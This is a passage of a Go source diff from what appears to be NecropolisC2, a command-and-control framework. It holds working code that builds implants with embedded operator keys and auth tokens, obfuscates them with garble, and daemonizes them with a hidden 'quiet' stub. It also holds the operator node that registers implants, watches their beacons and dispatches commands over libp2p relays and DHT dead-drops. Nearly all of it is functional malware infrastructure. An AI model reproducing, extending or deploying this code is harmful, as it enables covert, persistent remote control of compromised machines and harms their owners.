|
||||
package core
|
||||
|
||||
var embeddedOperatorBoxPubKey = %s
|
||||
`, boxPubLiteral)
|
||||
keyContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedImplantPrivKey = %s
|
||||
`, privLiteral)
|
||||
authContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedAuthToken = %s
|
||||
`, authLiteral)
|
||||
|
||||
if err := extractEmbeddedSource(dir); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Rename go.mod.txt/go.sum.txt back to real names
|
||||
os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
|
||||
os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))
|
||||
|
||||
coreDir := filepath.Join(dir, "implant", "core")
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(authContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_authtoken.go: %w", err)
|
||||
}
|
||||
|
||||
if quiet {
|
||||
if err := writeQuietStub(coreDir); err != nil {
|
||||
return "", fmt.Errorf("write quiet stub: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
// writeQuietStub generates a Go init() that detaches from the terminal and daemonizes
|
||||
// the process (non-Windows only).
|
||||
func writeQuietStub(coreDir string) error {
|
||||
quietContent := `//go:build !windows
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func init() {
|
||||
if os.Getenv("_NECROPOLIS_DAEMON") == "1" {
|
||||
return
|
||||
}
|
||||
|
||||
f, err := os.OpenFile("/dev/null", os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
attr := &os.ProcAttr{
|
||||
Files: []*os.File{f, f, f},
|
||||
Env: append(os.Environ(), "_NECROPOLIS_DAEMON=1"),
|
||||
Sys: &syscall.SysProcAttr{Setsid: true},
|
||||
}
|
||||
|
||||
proc, err := os.StartProcess(os.Args[0], os.Args, attr)
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
proc.Release()
|
||||
os.Exit(0)
|
||||
}
|
||||
`
|
||||
return os.WriteFile(filepath.Join(coreDir, "quiet.go"), []byte(quietContent), 0644)
|
||||
}
|
||||
|
||||
// extractEmbeddedSource unpacks the gzipped tar archive of implant source into dst.
|
||||
func extractEmbeddedSource(dst string) error {
|
||||
gz, err := gzip.NewReader(bytes.NewReader(embedsrc.ImplantSourceArchive))
|
||||
if err != nil {
|
||||
return fmt.Errorf("gzip reader: %w", err)
|
||||
}
|
||||
defer gz.Close()
|
||||
|
||||
tr := tar.NewReader(gz)
|
||||
for {
|
||||
hdr, err := tr.Next()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Errorf("tar next: %w", err)
|
||||
}
|
||||
|
||||
target := filepath.Join(dst, hdr.Name)
|
||||
switch hdr.Typeflag {
|
||||
case tar.TypeDir:
|
||||
if err := os.MkdirAll(target, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
case tar.TypeReg:
|
||||
if err := os.MkdirAll(filepath.Dir(target), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := io.Copy(f, tr); err != nil {
|
||||
f.Close()
|
||||
return err
|
||||
}
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// defaultPubKeyPath returns ~/.necropolis/operator.pub.
|
||||
func defaultPubKeyPath() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "operator.pub"
|
||||
}
|
||||
return filepath.Join(home, ".necropolis", "operator.pub")
|
||||
}
|
||||
|
||||
// ensureGarble checks for the garble obfuscator; if missing, installs it via go install
|
||||
// and searches GOPATH/bin as a fallback.
|
||||
func ensureGarble(goBin string) (string, error) {
|
||||
if p, err := exec.LookPath("garble"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
log.Print("garble not found. Installing via 'go install mvdan.cc/garble@v0.12.1'...")
|
||||
cmd := exec.Command(goBin, "install", "mvdan.cc/garble@v0.12.1")
|
||||
cmd.Env = append(os.Environ(), "PATH="+filepath.Dir(goBin)+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("install garble: %w", err)
|
||||
}
|
||||
|
||||
if p, err := exec.LookPath("garble"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// go install puts binaries in GOPATH/bin — check each entry
|
||||
gopathOut, _ := exec.Command(goBin, "env", "GOPATH").Output()
|
||||
gopath := strings.TrimSpace(string(gopathOut))
|
||||
if gopath != "" {
|
||||
for _, p := range filepath.SplitList(gopath) {
|
||||
for _, name := range []string{"garble", "garble.exe"} {
|
||||
candidate := filepath.Join(p, "bin", name)
|
||||
if fileExists(candidate) {
|
||||
log.Print("garble installed")
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("garble installed but not found in PATH or GOPATH/bin")
|
||||
}
|
||||
|
||||
// fileExists returns true if the path exists on disk.
|
||||
func fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// bytesLiteral formats a byte slice as a Go source literal like "[]byte{1,2,3}".
|
||||
func bytesLiteral(data []byte) string {
|
||||
var parts []string
|
||||
for _, b := range data {
|
||||
parts = append(parts, fmt.Sprintf("%d", b))
|
||||
}
|
||||
return "[]byte{" + strings.Join(parts, ",") + "}"
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// embedStubs maps embedded stub filenames to their empty content.
|
||||
var embedStubs = map[string]string{
|
||||
"embedded_pubkey.go": `// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = []byte{}
|
||||
`,
|
||||
"embedded_implant_key.go": `// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedImplantPrivKey = []byte{}
|
||||
`,
|
||||
"embedded_boxpubkey.go": `// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorBoxPubKey = []byte{}
|
||||
`,
|
||||
"embedded_authtoken.go": `// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedAuthToken = []byte{}
|
||||
`,
|
||||
}
|
||||
|
||||
// backupStubs saves the current embedded stub files in the given coreDir
|
||||
// and overwrites them with empty content so the temp-dir build can proceed.
|
||||
// Returns a restore function.
|
||||
func backupStubs(coreDir string) func() {
|
||||
backups := make(map[string][]byte)
|
||||
for name := range embedStubs {
|
||||
path := filepath.Join(coreDir, name)
|
||||
if data, err := os.ReadFile(path); err == nil {
|
||||
backups[name] = data
|
||||
}
|
||||
}
|
||||
return func() {
|
||||
for name, data := range backups {
|
||||
os.WriteFile(filepath.Join(coreDir, name), data, 0644)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// writeEmbeddedCreds writes the real operator credentials into the embedded
|
||||
// stub files in the implant source tree, replacing the empty stubs.
|
||||
func writeEmbeddedCreds(coreDir string, pub, box, priv, auth []byte) {
|
||||
pubLiteral := bytesLiteral(pub)
|
||||
boxLiteral := bytesLiteral(box)
|
||||
privLiteral := bytesLiteral(priv)
|
||||
authLiteral := bytesLiteral(auth)
|
||||
|
||||
os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(fmt.Sprintf(
|
||||
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedOperatorPubKey = %s\n",
|
||||
pubLiteral)), 0644)
|
||||
os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(fmt.Sprintf(
|
||||
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedOperatorBoxPubKey = %s\n",
|
||||
boxLiteral)), 0644)
|
||||
os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(fmt.Sprintf(
|
||||
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedImplantPrivKey = %s\n",
|
||||
privLiteral)), 0644)
|
||||
os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(fmt.Sprintf(
|
||||
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedAuthToken = %s\n",
|
||||
authLiteral)), 0644)
|
||||
}
|
||||
@@ -0,0 +1,399 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func findGo() string {
|
||||
if p, err := exec.LookPath("go"); err == nil {
|
||||
return p
|
||||
}
|
||||
if goroot := os.Getenv("GOROOT"); goroot != "" {
|
||||
candidate := filepath.Join(goroot, "bin", "go")
|
||||
if fileExists(candidate) {
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
|
||||
goexe := "go"
|
||||
if runtime.GOOS == "windows" {
|
||||
goexe = "go.exe"
|
||||
}
|
||||
|
||||
for _, p := range []string{
|
||||
"/usr/local/go/bin/go",
|
||||
filepath.Join(os.Getenv("HOME"), ".local", "go", "bin", goexe),
|
||||
"/tmp/go/bin/" + goexe,
|
||||
"/usr/lib/go/bin/go",
|
||||
`C:\Go\bin\go.exe`,
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Go", "bin", "go.exe"),
|
||||
filepath.Join(os.Getenv("LocalAppData"), "go", "bin", goexe),
|
||||
filepath.Join(os.Getenv("HOME"), "sdk", "go", "bin", goexe),
|
||||
filepath.Join(os.TempDir(), "go", "bin", goexe),
|
||||
} {
|
||||
if fileExists(p) {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return goexe
|
||||
}
|
||||
|
||||
type goFile struct {
|
||||
Filename string `json:"filename"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
SHA256 string `json:"sha256"`
|
||||
}
|
||||
|
||||
type goVersion struct {
|
||||
Version string `json:"version"`
|
||||
Stable bool `json:"stable"`
|
||||
Files []goFile `json:"files"`
|
||||
}
|
||||
|
||||
func ensureGo() (string, error) {
|
||||
if p, err := exec.LookPath("go"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
if goroot := os.Getenv("GOROOT"); goroot != "" {
|
||||
candidate := filepath.Join(goroot, "bin", "go")
|
||||
if fileExists(candidate) {
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
|
||||
if p := findGo(); fileExists(p) {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
log.Printf("[*] Go not found, installing...")
|
||||
|
||||
osName := runtime.GOOS
|
||||
archName := runtime.GOARCH
|
||||
switch archName {
|
||||
case "x86_64":
|
||||
archName = "amd64"
|
||||
case "aarch64":
|
||||
archName = "arm64"
|
||||
}
|
||||
|
||||
ext := ".tar.gz"
|
||||
if osName == "windows" {
|
||||
ext = ".zip"
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", "https://go.dev/VERSION?m=text", nil)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create version request: %w", err)
|
||||
}
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("check go version: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
versionBytes, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read go version: %w", err)
|
||||
}
|
||||
version := strings.TrimSpace(strings.Split(string(versionBytes), "\n")[0])
|
||||
|
||||
filename := fmt.Sprintf("%s.%s-%s%s", version, osName, archName, ext)
|
||||
url := fmt.Sprintf("https://go.dev/dl/%s", filename)
|
||||
|
||||
// Fetch checksums from go.dev JSON API
|
||||
checksums, err := fetchGoChecksums()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("fetch go checksums: %w", err)
|
||||
}
|
||||
expectedHash, ok := checksums[filename]
|
||||
if !ok {
|
||||
return "", fmt.Errorf("no checksum found for %s", filename)
|
||||
}
|
||||
|
||||
log.Printf("[*] downloading %s ...", url)
|
||||
|
||||
tarball, err := os.CreateTemp("", "go-*"+ext)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create temp file: %w", err)
|
||||
}
|
||||
defer os.Remove(tarball.Name())
|
||||
|
||||
dlCtx, dlCancel := context.WithTimeout(context.Background(), 120*time.Second)
|
||||
defer dlCancel()
|
||||
dlReq, err := http.NewRequestWithContext(dlCtx, "GET", url, nil)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create download request: %w", err)
|
||||
}
|
||||
dlResp, err := http.DefaultClient.Do(dlReq)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("download go: %w", err)
|
||||
}
|
||||
defer dlResp.Body.Close()
|
||||
|
||||
hash := sha256.New()
|
||||
if _, err := io.Copy(io.MultiWriter(tarball, hash), dlResp.Body); err != nil {
|
||||
return "", fmt.Errorf("write go archive: %w", err)
|
||||
}
|
||||
tarball.Close()
|
||||
|
||||
got := hex.EncodeToString(hash.Sum(nil))
|
||||
if got != expectedHash {
|
||||
return "", fmt.Errorf("checksum mismatch for %s:\n expected: %s\n got: %s", filename, expectedHash, got)
|
||||
}
|
||||
log.Printf("[*] SHA256 verified: %s", expectedHash)
|
||||
|
||||
installDir := installGo(tarball.Name(), osName)
|
||||
|
||||
log.Printf("[+] Go %s installed at %s", version, installDir)
|
||||
return filepath.Join(installDir, "bin", "go"), nil
|
||||
}
|
||||
|
||||
func fetchGoChecksums() (map[string]string, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", "https://go.dev/dl/?mode=json&include=all", nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create metadata request: %w", err)
|
||||
}
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get go metadata: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var versions []goVersion
|
||||
if err := json.NewDecoder(resp.Body).Decode(&versions); err != nil {
|
||||
return nil, fmt.Errorf("decode go metadata: %w", err)
|
||||
}
|
||||
|
||||
checksums := make(map[string]string)
|
||||
for _, v := range versions {
|
||||
for _, f := range v.Files {
|
||||
checksums[f.Filename] = f.SHA256
|
||||
}
|
||||
}
|
||||
return checksums, nil
|
||||
}
|
||||
|
||||
func installGo(archive, osName string) string {
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
|
||||
candidates := []string{
|
||||
"/usr/local/go",
|
||||
filepath.Join(homeDir, ".local", "go"),
|
||||
"/tmp/go",
|
||||
}
|
||||
if osName == "windows" {
|
||||
progFiles := os.Getenv("ProgramFiles")
|
||||
if progFiles == "" {
|
||||
progFiles = `C:\Program Files`
|
||||
}
|
||||
candidates = []string{
|
||||
filepath.Join(progFiles, "Go"),
|
||||
filepath.Join(homeDir, "sdk", "go"),
|
||||
filepath.Join(os.TempDir(), "go"),
|
||||
}
|
||||
}
|
||||
|
||||
for _, dst := range candidates {
|
||||
parent := filepath.Dir(dst)
|
||||
os.RemoveAll(dst)
|
||||
os.MkdirAll(parent, 0755)
|
||||
if extractGoArchive(archive, parent, osName) == nil {
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
log.Printf("[*] Go extracted to %s", dst)
|
||||
return dst
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Last resort: always try the root of the temp dir
|
||||
tmpRoot := "/tmp"
|
||||
if osName == "windows" {
|
||||
tmpRoot = os.TempDir()
|
||||
}
|
||||
os.RemoveAll(filepath.Join(tmpRoot, "go"))
|
||||
extractGoArchive(archive, tmpRoot, osName)
|
||||
return filepath.Join(tmpRoot, "go")
|
||||
}
|
||||
|
||||
func extractGoArchive(archive, dst, osName string) error {
|
||||
if osName == "windows" {
|
||||
return extractZip(archive, dst)
|
||||
}
|
||||
return exec.Command("tar", "-C", dst, "-xzf", archive).Run()
|
||||
}
|
||||
|
||||
func extractZip(src, dst string) error {
|
||||
r, err := zip.OpenReader(src)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open zip: %w", err)
|
||||
}
|
||||
defer r.Close()
|
||||
|
||||
for _, f := range r.File {
|
||||
target := filepath.Join(dst, f.Name)
|
||||
|
||||
// ZipSlip protection
|
||||
if !strings.HasPrefix(filepath.Clean(target), filepath.Clean(dst)+string(os.PathSeparator)) {
|
||||
continue
|
||||
}
|
||||
|
||||
if f.FileInfo().IsDir() {
|
||||
os.MkdirAll(target, 0755)
|
||||
continue
|
||||
}
|
||||
|
||||
os.MkdirAll(filepath.Dir(target), 0755)
|
||||
|
||||
rc, err := f.Open()
|
||||
if err != nil {
|
||||
return fmt.Errorf("open %s in zip: %w", f.Name, err)
|
||||
}
|
||||
|
||||
out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, f.Mode())
|
||||
if err != nil {
|
||||
rc.Close()
|
||||
return fmt.Errorf("create %s: %w", target, err)
|
||||
}
|
||||
|
||||
_, err = io.Copy(out, rc)
|
||||
rc.Close()
|
||||
out.Close()
|
||||
if err != nil {
|
||||
return fmt.Errorf("extract %s: %w", f.Name, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func findGit(dir string) string {
|
||||
gitExe := "git"
|
||||
if runtime.GOOS == "windows" {
|
||||
gitExe = "git.exe"
|
||||
}
|
||||
var found string
|
||||
filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if !d.IsDir() && strings.EqualFold(d.Name(), gitExe) {
|
||||
found = path
|
||||
return io.EOF
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return found
|
||||
}
|
||||
|
||||
// auto-installs MinGit on Windows, tries system package manager on Linux/macOS.
|
||||
// Self-contained implant generation is the feature — defer per-platform packaging.
|
||||
func installGit() (string, error) {
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
installDir := filepath.Join(homeDir, ".necropolis", "mingit")
|
||||
|
||||
if p := findGit(installDir); p != "" {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
log.Printf("[*] downloading MinGit...")
|
||||
url := "https://github.com/git-for-windows/git/releases/download/v2.47.0.windows.1/MinGit-2.47.0-64-bit.zip"
|
||||
archive, err := os.CreateTemp("", "mingit-*.zip")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create temp: %w", err)
|
||||
}
|
||||
defer os.Remove(archive.Name())
|
||||
|
||||
if err := downloadFile(url, archive); err != nil {
|
||||
return "", fmt.Errorf("download mingit: %w", err)
|
||||
}
|
||||
archive.Close()
|
||||
|
||||
os.RemoveAll(installDir)
|
||||
os.MkdirAll(installDir, 0755)
|
||||
if err := extractZip(archive.Name(), installDir); err != nil {
|
||||
return "", fmt.Errorf("extract mingit: %w", err)
|
||||
}
|
||||
|
||||
if p := findGit(installDir); p != "" {
|
||||
log.Printf("[+] MinGit installed at %s", p)
|
||||
return p, nil
|
||||
}
|
||||
return "", fmt.Errorf("MinGit extracted but git executable not found under %s", installDir)
|
||||
|
||||
case "linux":
|
||||
for _, pm := range [][]string{
|
||||
{"apk", "add", "git"},
|
||||
{"apt-get", "install", "-y", "git"},
|
||||
{"yum", "install", "-y", "git"},
|
||||
} {
|
||||
if _, err := exec.LookPath(pm[0]); err != nil {
|
||||
continue
|
||||
}
|
||||
cmd := exec.Command(pm[0], pm[1:]...)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if cmd.Run() == nil {
|
||||
if p, err := exec.LookPath("git"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("could not install git via package manager; install git manually")
|
||||
|
||||
case "darwin":
|
||||
for _, pm := range [][]string{
|
||||
{"xcode-select", "--install"},
|
||||
{"brew", "install", "git"},
|
||||
} {
|
||||
if _, err := exec.LookPath(pm[0]); err != nil {
|
||||
continue
|
||||
}
|
||||
cmd := exec.Command(pm[0], pm[1:]...)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if cmd.Run() == nil {
|
||||
if p, err := exec.LookPath("git"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("could not install git; install git manually")
|
||||
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported OS: %s", runtime.GOOS)
|
||||
}
|
||||
}
|
||||
|
||||
func downloadFile(url string, out *os.File) error {
|
||||
resp, err := http.Get(url)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("bad status: %s", resp.Status)
|
||||
}
|
||||
_, err = io.Copy(out, resp.Body)
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,925 @@
|
||||
// Operator represents the C2 operator node. Handles implant registration, command
|
||||
// dispatch, beacon monitoring, and DHT dead-drop publishing.
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p"
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
|
||||
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
|
||||
"github.com/Yenn503/NecropolisC2/pkg/transport"
|
||||
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
|
||||
)
|
||||
|
||||
// ImplantRecord holds the registration state and metadata for one implant.
|
||||
type ImplantRecord struct {
|
||||
Name string
|
||||
Hostname string
|
||||
UUID string
|
||||
Username string
|
||||
UID string
|
||||
GID string
|
||||
OS string
|
||||
Arch string
|
||||
PID int32
|
||||
PeerID string
|
||||
Version string
|
||||
ActiveC2 string
|
||||
Locale string
|
||||
LastCheckin time.Time
|
||||
Interval time.Duration
|
||||
Jitter time.Duration
|
||||
PublicKey crypto.PubKey
|
||||
Disconnected bool
|
||||
IsRelay bool
|
||||
BoxPubKey *[32]byte
|
||||
}
|
||||
|
||||
// Operator owns the operator's identity, network node, known implants, and SOCKS proxies.
|
||||
type Operator struct {
|
||||
keys *cryptography.OperatorKey
|
||||
node *transport.Node
|
||||
messenger *transport.Messenger
|
||||
implants map[string]*ImplantRecord
|
||||
mu sync.RWMutex
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
socksProxies map[int]*SocksInstance
|
||||
socksMu sync.Mutex
|
||||
cmdNonce int64
|
||||
SelectedPID string
|
||||
// lastCmdTime throttles per-implant command dispatch to 10/sec.
|
||||
lastCmdTime map[string]time.Time
|
||||
cmdMu sync.Mutex
|
||||
}
|
||||
|
||||
// NewOperator creates a libp2p host, configures relay/DHT, and wires up the messenger.
|
||||
func NewOperator(ctx context.Context, keys *cryptography.OperatorKey, relayAddrs []string) (*Operator, error) {
|
||||
ctx, cancel := context.WithCancel(ctx)
|
||||
|
||||
nodeCfg := transport.NodeConfig{
|
||||
ListenAddr: "/ip4/0.0.0.0/tcp/8443/ws",
|
||||
BootstrapPeers: transport.DefaultBootstrapAddrs(),
|
||||
EnableRelay: true,
|
||||
EnableRelayService: true,
|
||||
EnableMDNS: false,
|
||||
EnableDHT: true,
|
||||
RelayAddrs: relayAddrs,
|
||||
PrivateKey: keys.PrivateKey,
|
||||
}
|
||||
|
||||
node, err := transport.NewNode(ctx, nodeCfg,
|
||||
libp2p.NoTransports,
|
||||
libp2p.Transport(ws.New),
|
||||
libp2p.Transport(tcp.NewTCPTransport),
|
||||
)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("create node: %w", err)
|
||||
}
|
||||
|
||||
o := &Operator{
|
||||
keys: keys,
|
||||
node: node,
|
||||
implants: make(map[string]*ImplantRecord),
|
||||
socksProxies: make(map[int]*SocksInstance),
|
||||
lastCmdTime: make(map[string]time.Time),
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
}
|
||||
|
||||
o.messenger = transport.NewOperatorMessenger(ctx, node, keys)
|
||||
o.messenger.SetOperatorID(keys.PeerID)
|
||||
o.messenger.SetAuthToken(keys.AuthToken)
|
||||
o.messenger.SetHandler(o.handleMessage)
|
||||
|
||||
return o, nil
|
||||
}
|
||||
|
||||
// SetSelected sets the peer ID whose results print to stdout.
|
||||
func (o *Operator) SetSelected(pid string) { o.SelectedPID = pid }
|
||||
|
||||
// senderID extracts the libp2p peer ID from an envelope's embedded public key.
|
||||
func (o *Operator) senderID(env *apb.Envelope) string {
|
||||
pubKey, err := transport.PubKeyFromEnvelope(env)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
id, err := peer.IDFromPublicKey(pubKey)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return id.String()
|
||||
}
|
||||
|
||||
// resultf prints to stdout if from the selected implant, otherwise logs quietly.
|
||||
func (o *Operator) resultf(env *apb.Envelope, format string, args ...interface{}) {
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
sid := o.senderID(env)
|
||||
if sid != "" && sid == o.SelectedPID {
|
||||
fmt.Println(msg)
|
||||
} else {
|
||||
log.Printf(msg + " [from " + sid[:12] + "]")
|
||||
}
|
||||
}
|
||||
|
||||
// Start launches DHT advertising, beacon listener, relay discovery, and the disconnect
|
||||
// watchdog. Returns after setting up all background goroutines.
|
||||
func (o *Operator) Start() error {
|
||||
log.Printf("[operator] PeerID: %s", o.node.ID().String())
|
||||
log.Printf("[operator] Command topic: %s", o.messenger.CommandTopic())
|
||||
log.Printf("[operator] Beacon topic: %s", o.messenger.BeaconTopic())
|
||||
for _, addr := range o.node.Addrs() {
|
||||
log.Printf("[operator] listening on: %s/p2p/%s", addr, o.node.ID().String())
|
||||
}
|
||||
|
||||
o.node.SetStreamHandler(transport.BeaconProtocolID, o.handleBeaconStream)
|
||||
|
||||
if err := o.node.StartDiscovery(); err != nil {
|
||||
return fmt.Errorf("discovery: %w", err)
|
||||
}
|
||||
|
||||
ns := o.messenger.RendezvousString()
|
||||
if o.node.DHT != nil {
|
||||
go func() {
|
||||
for o.node.DHT.RoutingTable().Size() == 0 {
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(2 * time.Second):
|
||||
}
|
||||
}
|
||||
for o.node.Advertise(o.ctx, ns) != nil {
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(10 * time.Second):
|
||||
}
|
||||
}
|
||||
for {
|
||||
o.node.Advertise(o.ctx, ns)
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
relayNS := o.node.RelayRendezvousString(o.keys.PeerID)
|
||||
go o.advertiseRelayLoop(relayNS)
|
||||
go o.discoverRelayPeersLoop(relayNS)
|
||||
}
|
||||
|
||||
if err := o.messenger.ListenBeacons(o.ctx); err != nil {
|
||||
return fmt.Errorf("listen beacons: %w", err)
|
||||
}
|
||||
|
||||
go o.disconnectCheckLoop()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// disconnectCheckLoop periodically marks implants disconnected if they miss beacon deadlines.
|
||||
func (o *Operator) disconnectCheckLoop() {
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
o.mu.Lock()
|
||||
now := time.Now()
|
||||
for id, rec := range o.implants {
|
||||
